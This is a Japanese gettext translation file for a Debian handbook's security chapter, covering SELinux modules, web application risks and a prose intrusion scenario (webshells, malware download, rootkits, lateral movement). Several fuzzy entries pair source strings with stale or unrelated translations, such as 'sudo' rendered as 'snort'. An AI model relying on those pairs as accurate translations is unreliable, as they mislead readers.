msgstr "SELinux ログエントリを観察することで、その操作を許可するために必要なルールを構築することが可能です。たとえば例に挙げた操作を許可するルールは allow syslogd_t device_t:fifo_file { read write } のようになります。この作業は自動化することが可能です。これが audit2allow コマンド (policycoreutils パッケージに含まれます) の役割です。設定する必要のある内容に応じてさまざまなオブジェクトが既に正しくラベリングされている場合にのみ、このアプローチは役に立ちます。いずれにせよ、管理者は必ず生成されたルールを注意深く確認し、アプリケーションに対する知識に基づいてルールの妥当性を検査しなければいけません。事実上、このアプローチはアプリケーションが本当に必要としている権限よりも多くの権限を与えようとします。ほとんどの場合、新しい SELinux タイプを作成し、作成した SELinux タイプだけに権限を与えることが適切な解決策と言えます。また、拒否された操作がアプリケーションにとって致命的でない場合もあります。この場合、「dontaudit」ルールを追加するだけに留めることがより良い解決策かもしれません。こうすることで、実際の実行を拒否するのではなくログエントリの記録だけが拒否されます。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "COMPLEMENTS No roles in policy rules"
msgstr "COMPLEMENTS SELinux ロールを設定されていないポリシールール"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Type Enforcement"
msgstr "Type Enforcement"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Enforcement, Type Enforcement"
msgstr "強制、Type Enforcement"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "It might seem weird that roles do not appear at all when creating new rules. SELinux uses only the domains to find out which operations are allowed. The role intervenes only indirectly by allowing the user to switch to another domain. SELinux is based on a theory known as Type Enforcement and the type is the only element that matters when granting rights."
msgstr "新しいルールを作成した際に、SELinux ロールが 1 つも設定されていないことは不思議に見えるかもしれません。SELinux は許されている操作の見つかった SELinux ドメインだけを使います。SELinux ロールはユーザが他の SELinux ドメインに切り替えることを許可することで間接的に権限処理に介在するだけです。SELinux は Type Enforcement として知られる理論に基づいており、権限を獲得する際に考慮される要素は SELinux タイプだけです。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Compiling the Files"
msgstr "ファイルのコンパイル"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
# Ref: https://www.gnu.org/s/make/manual/html_node/Flavors.html;
#, fuzzy
#| msgid "Once the 3 files (example.if, example.fc, and example.te) match your expectations for the new rules, just run make NAME=devel to generate a module in the example.pp file (you can immediately load it with semodule -i example.pp). If several modules are defined, make will create all the corresponding .pp files."
msgid "Once the 3 files (example.if, example.fc, and example.te) match your expectations for the new rules, rename them to myapp.extension and run make NAME=devel to generate a module in the myapp.pp file (you can immediately load it with semodule -i myapp.pp). If several modules are defined, make will create all the corresponding .pp files."
msgstr "3 個のファイル (example.if、example.fc、example.te) が新しいルールに関する管理者の期待と一致したら、make NAME=devel を実行して example.pp ファイルの形でモジュールを生成します (semodule -i example.pp を使ってすぐさまこのモジュールをインストールすることが可能です)。複数のモジュールを定義した場合、make はすべての対応する .pp ファイルを生成します。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Other Security-Related Considerations"
msgstr "セキュリティ関連で他に考慮すべき点"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Security is not just a technical problem; more than anything, it is about good practices and understanding the risks. This section reviews some of the more common risks, as well as a few best practices which should, depending on the case, increase security or lessen the impact of a successful attack."
msgstr "セキュリティとは単なる技術的問題ではありません。セキュリティに関して最も重要なことは十分に実践したり、危険を理解したりすることです。この節では、いくつかのより一般的な危険および最良の実践例を見直します。ここで挙げた事例を実践することで、セキュリティを向上させたり、攻撃が成功してもその影響を小さなものにしたりすることが可能です。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Inherent Risks of Web Applications"
msgstr "ウェブアプリケーションの持つ潜在的危険性"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "The universal character of web applications led to their proliferation. Several are often run in parallel: a webmail, a wiki, some groupware system, forums, a photo gallery, a blog, and so on. Many of those applications rely on the “LAMP” (Linux, Apache, MySQL, PHP) stack. Unfortunately, many of those applications were also written without much consideration for security problems. Data coming from outside is, too often, used with little or no validation. Providing specially-crafted values can be used to subvert a call to a command so that another one is executed instead. Many of the most obvious problems have been fixed as time has passed, but new security problems pop up regularly."
msgstr "ウェブアプリケーションはその普遍的特徴のおかげで広く使われています。いくつかのウェブアプリケーションは同時に実行されます。たとえばウェブメール、wiki、グループウェアシステム、フォーラム、写真ギャラリー、ブログなどは同時に実行されます。これらのウェブアプリケーションは「LAMP」(Linux、Apache、MySQL、PHP) スタックに頼っています。残念なことに、多くのウェブアプリケーションがセキュリティ問題を深く考えずに書かれています。外部から提供されるデータは、その妥当性を少しだけ検査するか、全く検査せずに使わることが多いです。特別に細工した値をアプリケーションに渡すことで、あるコマンドの代わりに他のコマンドを実行させることが可能です。最も自明な問題の多くは時間がたてば修正されますが、定期的に新しいセキュリティ問題が生じます。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "VOCABULARY SQL injection"
msgstr "VOCABULARY SQL インジェクション"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "When a program inserts data into SQL queries in an insecure manner, it becomes vulnerable to SQL injections; this name covers the act of changing a parameter in such a way that the actual query executed by the program is different from the intended one, either to damage the database or to access data that should normally not be accessible. "
msgid "When a program inserts data into SQL queries in an insecure manner, it becomes vulnerable to SQL injections; this name covers the act of changing a parameter in such a way that the actual query executed by the program is different from the intended one, either to damage the database or to access data that should normally not be accessible. "
msgstr "プログラムが安全性に欠けるやり方で SQL クエリにデータを挿入している場合、プログラムは SQL インジェクションに対して脆弱になります。SQL インジェクションとは、パラメータを変更することで、プログラムが実行する実際のクエリを意図しないものに変える行為を指します。SQL インジェクションによりデータベースが破壊されたり、通常は利用できないデータへのアクセスが可能になります。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "SQL injection"
msgstr "SQL インジェクション"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "Updating web applications regularly is therefore a must, lest any cracker (whether a professional attacker or a script kiddy) can exploit a known vulnerability. The actual risk depends on the case, and ranges from data destruction to arbitrary code execution, including web site defacement."
msgid "Updating web applications regularly is therefore a must, lest any cracker (whether a professional attacker or a “script kiddy“) can exploit a known vulnerability. The actual risk depends on the case, and ranges from data destruction to arbitrary code execution, including web site defacement."
msgstr "このため、定期的なウェブアプリケーションの更新は不可欠です。これにはクラッカー (プロフェッショナルな攻撃者であるかスクリプトキディであるかに関わらず) からの既知の脆弱性を利用した攻撃を防ぐという意味合いがあります。実際のリスクは場合によりますが、データの破壊、任意のコード実行、ウェブサイトの書き換えなどの範囲におよびます。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Knowing What To Expect"
msgstr "予測される結果を知る"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "A vulnerability in a web application is often used as a starting point for cracking attempts. What follows is a short review of possible consequences."
msgstr "ウェブアプリケーションの持つ脆弱性はクラッキング行為の足掛かりとして使われることが多いです。以下では、そこから考えられる結果の短い概観を示します。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "QUICK LOOK Filtering HTTP queries"
msgstr "QUICK LOOK HTTP クエリのフィルタ"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "Apache 2 includes modules allowing filtering incoming HTTP queries. This allows blocking some attack vectors. For instance, limiting the length of parameters can prevent buffer overflows. More generally, one can validate parameters before they are even passed to the web application and restrict access along many criteria. This can even be combined with dynamic firewall updates, so that a client infringing one of the rules is banned from accessing the web server for a given period of time."
msgid "Apache 2 includes modules allowing filtering incoming HTTP queries. This allows blocking some attack vectors. For instance, limiting the length of parameters can prevent buffer overflows. More generally, one can validate parameters before they are even passed to the web application and restrict access along many criteria. This can even be combined with dynamic firewall updates, so that a client infringing one of the rules is banned from accessing the web server for a given period of time."
msgstr "Apache 2 には、入って来る HTTP クエリをフィルタするモジュールが含まれています。このモジュールを使うことで、いくつかの攻撃ベクトルを妨害することが可能です。たとえば、パラメータの長さに制限を設けることで、バッファオーバーフローを避けることが可能です。より一般的に言えば、ウェブアプリケーションにパラメータを渡す前にパラメータの妥当性を検査させ、多くの基準に従ってアクセス制限を加えることが可能です。さらにこれを動的なファイアウォールの更新に統合することが可能です。こうすることで、ルールを破ったクライアントは指定された期間ウェブサーバへのアクセスを禁止されることになります。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Setting up these checks can be a long and cumbersome task, but it can pay off when the web application to be deployed has a dubious track record where security is concerned."
msgstr "この種のフィルタを設定することは長く厄介な作業ですが、配備予定のウェブアプリケーションのセキュリティに関する実績が疑わしい場合に効果があります。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
msgid "mod-security2 (in the libapache2-mod-security2 package) is the main such module. It even comes with many ready-to-use rules of its own (in the modsecurity-crs package) that you can easily enable."
msgstr "mod-security2 (libapache2-mod-security2 パッケージに含まれます) はこの機能を提供する主要なモジュールです。mod-security2 には簡単に有効化できる専用のすぐに使える数多くのルールが含まれます (modsecurity-crs パッケージに含まれます)。"
#, fuzzy
#| msgid "logsdisplay"
msgid "Apachemod-security2"
msgstr "ログ表示"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "libapache-mod-security"
msgid "libapache2-mod-security2"
msgstr "libapache-mod-security"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
#, fuzzy
#| msgid "checksecurity"
msgid "modsecurity-crs"
msgstr "checksecurity"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "The consequences of an intrusion will have various levels of obviousness depending on the motivations of the attacker. Script-kiddies only apply recipes they find on web sites; most often, they deface a web page or delete data. In more subtle cases, they add invisible contents to web pages so as to improve referrals to their own sites in search engines."
msgid "The consequences of an intrusion will have various levels of obviousness depending on the motivations of the attacker. “Script-kiddies“ only apply recipes they find on web sites; most often, they deface a web page or delete data. In more subtle cases, they add invisible contents to web pages so as to improve referrals to their own sites in search engines."
msgstr "不正侵入に成功した後にどのようなことが行われるかは攻撃者のやる気に依存します。スクリプトキディはウェブサイトで探し出したレシピを適用するだけです。そしてほとんどの場合、スクリプトキディは攻撃先のウェブページを書き換えるかデータを削除するかします。さらに悪賢いスクリプトキディはサーチエンジンでより高い順位に自分のサイトを表示させるために攻撃先のウェブページに不可視の内容を追加します。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "A more advanced attacker will go beyond that. A disaster scenario could go on in the following fashion: the attacker gains the ability to execute commands as the www-data user, but executing a command requires many manipulations. To make their life easier, they install other web applications specially designed to remotely execute many kinds of commands, such as browsing the filesystem, examining permissions, uploading or downloading files, executing commands, and even provide a network shell. Often, the vulnerability will allow running a wget command that will download some malware into /tmp/, then executing it. The malware is often downloaded from a foreign website that was previously compromised, in order to cover tracks and make it harder to find out the actual origin of the attack."
msgstr "さらに上級の攻撃者はこれ以上のことを行います。最悪の筋書きは以下の手順で進みます。すなわち、攻撃者は www-data ユーザ権限でコマンドを実行する能力を取得しますが、コマンドを実行するには数多くの操作を必要とします。作業を簡単に行うために、攻撃者はさらに別のウェブアプリケーションをインストールします。ここでインストールされるウェブアプリケーションはさまざまなコマンド (ファイルシステムの閲覧、パーミッションの検査、ファイルのアップロードおよびダウンロードなど) のリモート実行およびネットワークシェルの提供に特化して設計されています。しばしば、脆弱性を使うことで wget コマンドを使ってマルウェアを /tmp/ にダウンロードし、マルウェアを実行することが可能になります。このマルウェアは既に不正侵入されている別のウェブサイトからダウンロードされます。こうすることで攻撃者の痕跡がなくなり、本当の攻撃元に関するヒントを調査することが難しくなります。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "At this point, the attacker has enough freedom of movement that they often install an IRC bot (a robot that connects to an IRC server and can be controlled by this channel). This bot is often used to share illegal files (unauthorized copies of movies or software, and so on). A determined attacker may want to go even further. The www-data account does not allow full access to the machine, and the attacker will try to obtain administrator privileges. Now, this should not be possible, but if the web application was not up-to-date, chances are that the kernel and other programs are outdated too; this sometimes follows a decision from the administrator who, despite knowing about the vulnerability, neglected to upgrade the system since there are no local users. The attacker can then take advantage of this second vulnerability to get root access."
msgstr "この時点で、攻撃者は IRC ボット (IRC サーバに接続してチャンネルから操作されるロボット) をインストールできる程度の権限を取得しています。この IRC ボットは非合法ファイル (映画やソフトウェアなどの無断コピー) を共有するために使われることが多いです。意欲的な攻撃者はさらに先へ行きます。www-data アカウントはマシンに対する完全なアクセスを許されていないので、攻撃者は管理者権限を取得しようとするでしょう。今現在、これは不可能であるべきです。しかし、ウェブアプリケーションが最新の状態でなければ、おそらくカーネルやその他のプログラムも古いことでしょう。これはしばしばローカルユーザがいないため脆弱性に関して知っているにも関わらずシステムのアップグレードを無視している管理者の判断です。攻撃者はこの 2 番目の脆弱性に乗じて root アクセスを取得します。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "VOCABULARY Privilege escalation"
msgstr "VOCABULARY 特権昇格"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "monitoringlog files"
msgid "permissionsprivilege escalation"
msgstr "監視ログファイル"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
#, fuzzy
#| msgid "snort"
msgid "sudo"
msgstr "snort"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
msgid "This term covers anything that can be used to obtain more permissions than a given user should normally have. The sudo program is designed for precisely the purpose of giving administrative rights to some users. But the same term is also used to describe the act of an attacker exploiting a vulnerability to obtain undue rights."
msgstr "特権昇格という用語は通常ユーザに与えられていないより高位のパーミッションを取得するために使われる操作のすべてを意味しています。sudo プログラムはまさにユーザに指定した管理者権限を与える目的で設計されました。しかし、同じ用語を使って不当な権限を取得するために脆弱性を活用する攻撃者の振る舞いを表すこともあります。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
#, fuzzy
#| msgid "Now the attacker owns the machine; they will usually try to keep this privileged access for as long as possible. This involves installing a rootkit, a program that will replace some components of the system so that the attacker will be able to obtain the administrator privileges again at a later time; the rootkit also tries hiding its own existence as well as any traces of the intrusion. A subverted ps program will omit to list some processes, netstat will not list some of the active connections, and so on. Using the root permissions, the attacker was able to observe the whole system, but didn't find important data; so they will try accessing other machines in the corporate network. Analyzing the administrator's account and the history files, the attacker finds what machines are routinely accessed. By replacing sudo or ssh with a subverted program, the attacker can intercept some of the administrator's passwords, which they will use on the detected servers… and the intrusion can propagate from then on."
msgid "Now the attacker owns the machine; they will usually try to keep this privileged access for as long as possible. This involves installing a rootkit, a program that will replace some components of the system so that the attacker will be able to obtain the administrator privileges again at a later time (see also ); the rootkit also tries hiding its own existence as well as any traces of the intrusion. A subverted ps program will omit to list some processes, netstat will not list some of the active connections, and so on. Using the root permissions, the attacker was able to observe the whole system, but didn't find important data; so they will try accessing other machines in the corporate network. Analyzing the administrator's account and the history files, the attacker finds what machines are routinely accessed. By replacing sudo or ssh with a subverted program, the attacker can intercept some of the administrator's passwords, which they will use on the detected servers… and the intrusion can propagate from then on."
msgstr "これで、攻撃者はマシンを自らのコントロール下に置くことができました。通常、攻撃者はこの特権アクセスを可能な限り長く維持しようとします。そのために攻撃者は rootkit をインストールします。rootkit とは後から攻撃者が管理者権限を取得することを可能にするためにいくつかのシステムの要素を置き替えるプログラムです。さらに rootkit は自分の存在および侵入の形跡を隠そうともします。改竄された ps プログラムはいくつかのプロセスを無視するでしょうし、改竄された netstat はいくつかの活動中の接続を表示しないでしょう。攻撃者は root 権限を使うことでシステム全体を観察することが可能でしたが、重要なデータは見つかりませんでした。そこで攻撃者はさらに同じネットワーク内の他のマシンにアクセスしようとするでしょう。管理者アカウントと履歴ファイルを解析することで、攻撃者は日常的にアクセスしているマシンを見つけ出します。sudo や ssh を改竄されたプログラムで置き換えることにより、攻撃者は管理者パスワードを横取りすることが可能です。攻撃者はここで横取りした管理者パスワードを検出されたサーバで使い、さらに侵入を進めます。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "This is a nightmare scenario which can be prevented by several measures. The next few sections describe some of these measures."
msgstr "ここで述べた最悪の筋書きはいくつかの取り組みによって避けることが可能です。以降の節では、その取り組みについて説明します。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Choosing the Software Wisely"
msgstr "賢い方法でソフトウェアを選ぶ"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "Once the potential security problems are known, they must be taken into account at each step of the process of deploying a service, especially when choosing the software to install. Many web sites, such as SecurityFocus.com, keep a list of recently-discovered vulnerabilities, which can give an idea of a security track record before some particular software is deployed. Of course, this information must be balanced against the popularity of said software: a more widely-used program is a more tempting target, and it will be more closely scrutinized as a consequence. On the other hand, a niche program may be full of security holes that never get publicized due to a lack of interest in a security audit."
msgid "Once the potential security problems are known, they must be taken into account at each step of the process of deploying a service, especially when choosing the software to install. Many web sites keep a list of recently-discovered vulnerabilities, which can give an idea of a security track record before some particular software is deployed. Of course, this information must be balanced against the popularity of said software: a more widely-used program is a more tempting target, and it will be more closely scrutinized as a consequence. On the other hand, a niche program may be full of security holes that never get publicized due to a lack of interest in a security audit."
msgstr "潜在的なセキュリティ問題が知られると、管理者はサービスを配備するプロセスの各段階 (特にインストールするソフトウェアを選ぶ際) でこのセキュリティ問題に気を配らなければいけません。SecurityFocus.com などの多くのウェブサイトが最近発見された脆弱性のリストを管理しています。このおかげで、特定のソフトウェアを配備する前にそのソフトウェアのセキュリティ実績の情報を得ることが可能です。もちろん、この情報はそのソフトウェアの人気に比例しています。すなわち、広く使われているプログラムほど標的にされ、結果として注意深く検査されます。逆に、セキュリティ監査に対する関心が欠如していたために、特定分野のプログラムはまだ公表されていない数多くのセキュリティホールを隠しているかもしれません。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "VOCABULARY Security audit"
msgstr "VOCABULARY セキュリティ監査"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "packetIP"
msgid "securityaudit"
msgstr "パケットIP パケット"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "A security audit is the process of thoroughly reading and analyzing the source code of some software, looking for potential security vulnerabilities it could contain. Such audits are usually proactive and they are conducted to ensure a program meets certain security requirements."
msgstr "セキュリティ監査とはソフトウェアが持つ潜在的なセキュリティ脆弱性を探すためにあるソフトウェアのソースコードを徹底的に読んだり解析することを言います。通常セキュリティ監査は積極的な行動であり、プログラムがある種のセキュリティ要件を満足していることを保証するために行われます。"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "In the Free Software world, there is generally ample room for choice, and choosing one piece of software over another should be a decision based on the criteria that apply locally. More features imply an increased risk of a vulnerability hiding in the code; picking the most advanced program for a task may actually be counter-productive, and a better approach is usually to pick the simplest program that meets the requirements."
msgid "In the free software world, there is generally ample room for choice, and choosing one piece of software over another should be a decision based on the criteria that apply locally. More features imply an increased risk of a vulnerability hiding in the code; picking the most advanced program for a task may actually be counter-productive, and a better approach is usually to pick the simplest program that meets the requirements."
msgstr "通常フリーソフトウェア世界には多くの選択肢があります。そして、ソフトウェアは現場で適用する基準と同じ選択基準に従い決定するべきです。多くの機能を備えるということは、コードに隠された脆弱性の危険性を増加させることを意味します。そして実際、あるタスクに関する最も先進的なプログラムを選ぶことは逆効果となる可能性があり、要求を満足する最も単純なプログラムを選ぶことのほうがより良い選択と言えるでしょう。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "VOCABULARY Zero-day exploit"
msgstr "VOCABULARY ゼロデイ脆弱性"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "A zero-day exploit attack is hard to prevent; the term covers a vulnerability that is not yet known to the authors of the program."
msgstr "ゼロデイ脆弱性攻撃は防ぐことが難しいです。さらにこの用語は対象プログラムの開発者がまだ知らない脆弱性の意味も持っています。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Managing a Machine as a Whole"
msgstr "マシン全体の管理"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Most Linux distributions install by default a number of Unix services and many tools. In many cases, these services and tools are not required for the actual purposes for which the administrator set up the machine. As a general guideline in security matters, unneeded software is best uninstalled. Indeed, there is no point in securing an FTP server, if a vulnerability in a different, unused service can be used to get administrator privileges on the whole machine."
msgstr "多くの Linux ディストリビューションはデフォルトで多数の Unix サービスと多くのツールをインストールします。多くの場合、デフォルトでインストールされるサービスとツールは管理者がマシンをセットアップする本来の目的に必要なものではありません。セキュリティには一般的な指針があり、それは不要なソフトウェアをアンインストールすることが最良の選択であるという指針です。実際、もし FTP サーバ以外の未使用のサービスに含まれる脆弱性を使ってマシン全体の管理者権限が取得される可能性があるのなら、FTP サーバを守ることに意味はありません。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "By the same reasoning, firewalls will often be configured to only allow access to services that are meant to be publicly accessible."
msgstr "同様の理由で、通常ファイアウォールは公開アクセスされる予定のサービスへのアクセスだけを許可するように設定されます。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Current computers are powerful enough to allow hosting several services on the same physical machine. From an economic viewpoint, such a possibility is interesting: only one computer to administrate, lower energy consumption, and so on. From the security point of view, however, such a choice can be a problem. One compromised service can bring access to the whole machine, which in turn compromises the other services hosted on the same computer. This risk can be mitigated by isolating the services. This can be attained either with virtualization (each service being hosted in a dedicated virtual machine or container), or with AppArmor/SELinux (each service daemon having an adequately designed set of permissions)."
msgstr "現在のコンピュータは複数のサービスを 1 台の物理マシン上でホストできる程度に十分強力です。財政的な観点からすると、この可能性は興味深いものです。なぜなら、管理するコンピュータの台数を 1 台で済ませたり、エネルギー消費量を減らしたりすることが可能だからです。しかしながら、セキュリティの観点からすると、このやり方には問題があります。1 つのサービスが不正侵入を受けるだけでマシン全体にアクセスできるようになり、さらに同じコンピュータ上でホストされている他のサービスも不正侵入を受けます。サービスを隔離することでこのリスクを緩和することが可能です。サービスを隔離するには、仮想化 (各サービスを専用の仮想マシンやコンテナでホストさせる) や AppArmor/SELinux (それぞれのサービスデーモンに適切に設計された一連のパーミッションを設定する) を使います。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Users Are Players"
msgstr "内部ユーザからの保護"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Discussing security immediately brings to mind protection against attacks by anonymous crackers hiding in the Internet jungle; but an often-forgotten fact is that risks also come from inside: an employee about to leave the company could download sensitive files on the important projects and sell them to competitors, a negligent salesman could leave their desk without locking their session during a meeting with a new prospect, a clumsy user could delete the wrong directory by mistake, and so on."
msgstr "セキュリティに関する議論と言えばすぐに、インターネットの無法地帯に隠れた匿名のクラッカーによる攻撃に対する保護を思い浮かべることでしょう。しかし忘れられがちですが、内部にもリスク源が存在します。具体的に言えば、退職を控えている雇用者は重要なプロジェクトの機密ファイルをダウンロードしてこれを競争相手に売ることが可能です。不注意なセールスマンは新しい顧客とのミーティング中にセッションをロックせずに離席します。不器用なユーザは誤って間違ったディレクトリを削除します。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "The response to these risks can involve technical solutions: no more than the required permissions should be granted to users, and regular backups are a must. But in many cases, the appropriate protection is going to involve training users to avoid the risks."
msgstr "これらのリスクは技術的に解決できます。つまり、最低限必要な権限よりも高位の権限をユーザに与えるべきではありませんし、定期的なバックアップは必ず必要です。しかし多くの場合、リスクを避けるためにユーザを教育することがより適切なやり方と言えるでしょう。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "QUICK LOOK autolog"
msgstr "QUICK LOOK autolog"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
#, fuzzy
#| msgid "checksecurity"
msgid "autolog"
msgstr "checksecurity"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "The autolog package provides a program that automatically disconnects inactive users after a configurable delay. It also allows killing user processes that persist after a session ends, thereby preventing users from running daemons."
msgstr "autolog パッケージを使うことで、設定可能な遅延時間の後、活動していないユーザからの接続を自動的に切断することが可能です。また、セッションの終了した後に残っているユーザプロセスを kill することが可能です。これにより、ユーザがデーモンを実行することを避けることが可能です。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Physical Security"
msgstr "物理セキュリティ"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "There is no point in securing the services and networks if the computers themselves are not protected. Important data deserve being stored on hot-swappable hard disks in RAID arrays, because hard disks fail eventually and data availability is a must. But if any pizza delivery boy can enter the building, sneak into the server room and run away with a few selected hard disks, an important part of security is not fulfilled. Who can enter the server room? Is access monitored? These questions deserve consideration (and an answer) when physical security is being evaluated."
msgstr "コンピュータ本体が保護されていなければ、サービスとネットワークの保護は無意味です。重要なデータは RAID アレイ内のホットスワップ対応のハードディスクに保存するだけの価値があります。なぜならハードディスクは壊れるものですし、データの可用性は不可欠だからです。しかし、ピザ配達人が建物に入って、サーバ部屋に忍び込んで、いくつかの選ばれたハードディスクを盗んで逃げることが可能な場合、セキュリティの重要な部分が満足されていません。誰がサーバ部屋に入れるのでしょうか? 入室と退室は監視されていますか? これらの質問は物理セキュリティを評価する際に考慮 (そして回答) に値します。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Physical security also includes taking into consideration the risks for accidents such as fires. This particular risk is what justifies storing the backup media in a separate building, or at least in a fire-proof strongbox."
msgstr "物理セキュリティには、たとえば火事などの災害のリスクを考慮することも含まれます。災害という特別なリスクがあるために、バックアップメディアを別の建物か少なくとも防火金庫に保存することが正当化されます。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Legal Liability"
msgstr "法的責任"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: PTAL;
msgid "An administrator is, more or less implicitly, trusted by their users as well as the users of the network in general. They should therefore avoid any negligence that malevolent people could exploit."
msgstr "管理者は程度の差はあれど暗黙のうちに自分の管理するユーザと一般のネットワークユーザから信頼されています。このため、ユーザは管理者に対して自分の過失が悪意ある人によって不正利用されることがないように自分を守ることを期待しています。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: PTAL;
#, fuzzy
#| msgid "An attacker taking control of your machine then using it as a forward base (known as a “relay system”) from which to perform other nefarious activities could cause legal trouble for you, since the attacked party would initially see the attack coming from your system, and therefore consider you as the attacker (or as an accomplice). In many cases, the attacker will use your server as a relay to send spam, which shouldn't have much impact (except potentially registration on black lists that could restrict your ability to send legitimate emails), but won't be pleasant nevertheless. In other cases, more important trouble can be caused from your machine, for instance denial of service attacks. This will sometimes induce loss of revenue, since the legitimate services will be unavailable and data can be destroyed; sometimes this will also imply a real cost, because the attacked party can start legal proceedings against you. Rights-holders can sue you if an unauthorized copy of a work protected by copyright law is shared from your server, as well as other companies compelled by service level agreements if they are bound to pay penalties following the attack from your machine."
msgid "An attacker taking control of your machine then using it as a forward base (known as a “relay system”) from which to perform other nefarious activities could cause legal trouble for you, since the attacked party would initially see the attack coming from your system, and therefore consider you as the attacker (or as an accomplice). In many cases, the attacker will use your server as a relay to send spam, which shouldn't have much impact (except potentially registration on black lists that could restrict your ability to send legitimate emails), but won't be pleasant, nevertheless. In other cases, more important trouble can be caused from your machine, for instance, denial of service attacks. This will sometimes induce loss of revenue, since the legitimate services will be unavailable and data can be destroyed; sometimes this will also imply a real cost, because the attacked party can start legal proceedings against you. Rights-holders can sue you if an unauthorized copy of a work protected by copyright law is shared from your server, as well as other companies compelled by service level agreements if they are bound to pay penalties following the attack from your machine."
msgstr "あなたが管理しているマシンの制御を奪った攻撃者は、このマシンを前進基地 (「踏み台」として知られています) として使います。管理しているマシンから他の不正な活動を実行されることにより、あなたは法的な問題を被ることになります。なぜなら、攻撃された当事者にしてみれば、あなたのシステムが攻撃元に見えるため、あなたを攻撃者本人 (または共犯者) とみなすでしょう。多くの場合、攻撃者はスパムを送信するための中継サーバとしてあなたのサーバを使います。これは大きな影響をおよぼすものではありません (ブラックリストに登録されて、正規の電子メールを送信することに制限を受けるという潜在的な問題点を除きます)。とは言ってもこれは気持ちのよいものではありません。また別の場合、あなたのマシンはサービス拒否攻撃などのより重大な問題の要因になります。これはしばしば損失をもたらす場合があります。なぜなら、正規のサービスが利用できなくなり、データが破壊されるからです。さらに実質的な経費が掛かるという意味を持つ場合もあります。なぜなら、攻撃された当事者はあなたに対して法的手続きを開始するからです。すなわち、著作権で守られた著作物の認可されていない複製があなたのサーバから共有された場合、権利者はあなたに対して訴訟を起こすことが可能です。さらに、サービス水準合意を交わした他の企業があなたのマシンから攻撃を受けた場合に罰金を支払う契約になっている場合、彼らもあなたに対して訴訟を起こすことが可能です。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "When these situations occur, claiming innocence is not usually enough; at the very least, you will need convincing evidence showing suspect activity on your system coming from a given IP address. This won't be possible if you neglect the recommendations of this chapter and let the attacker obtain access to a privileged account (root, in particular) and use it to cover their tracks."
msgstr "これらの状況に陥ると、無罪を主張するだけでは通常十分ではありません。少なくとも、ある IP アドレスを経由してあなたのシステム上で行われた疑わしい活動に関する説得力のある証拠を提出する必要があります。この章の推奨を無視し、攻撃者に特権アカウント (特に root) へのアクセスの取得を許し、攻撃者が痕跡を消すために特権アカウントを使うことを許していれば、証拠の提出は不可能です。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Dealing with a Compromised Machine"
msgstr "不正侵入されたマシンの取り扱い"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Despite the best intentions and however carefully designed the security policy, an administrator eventually faces an act of hijacking. This section provides a few guidelines on how to react when confronted with these unfortunate circumstances."
msgstr "最良の心構えと注意深く設計されたセキュリティポリシーにも関わらず、結局のところ管理者は乗っ取りに直面します。この節では、不幸な状況に直面した場合の対応方法に関して、いくつかの指針を紹介します。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Detecting and Seeing the Cracker's Intrusion"
msgstr "クラッカー不正侵入の検出と観察"
# Checked-By: Ryuunosuke Ayanokouzi;
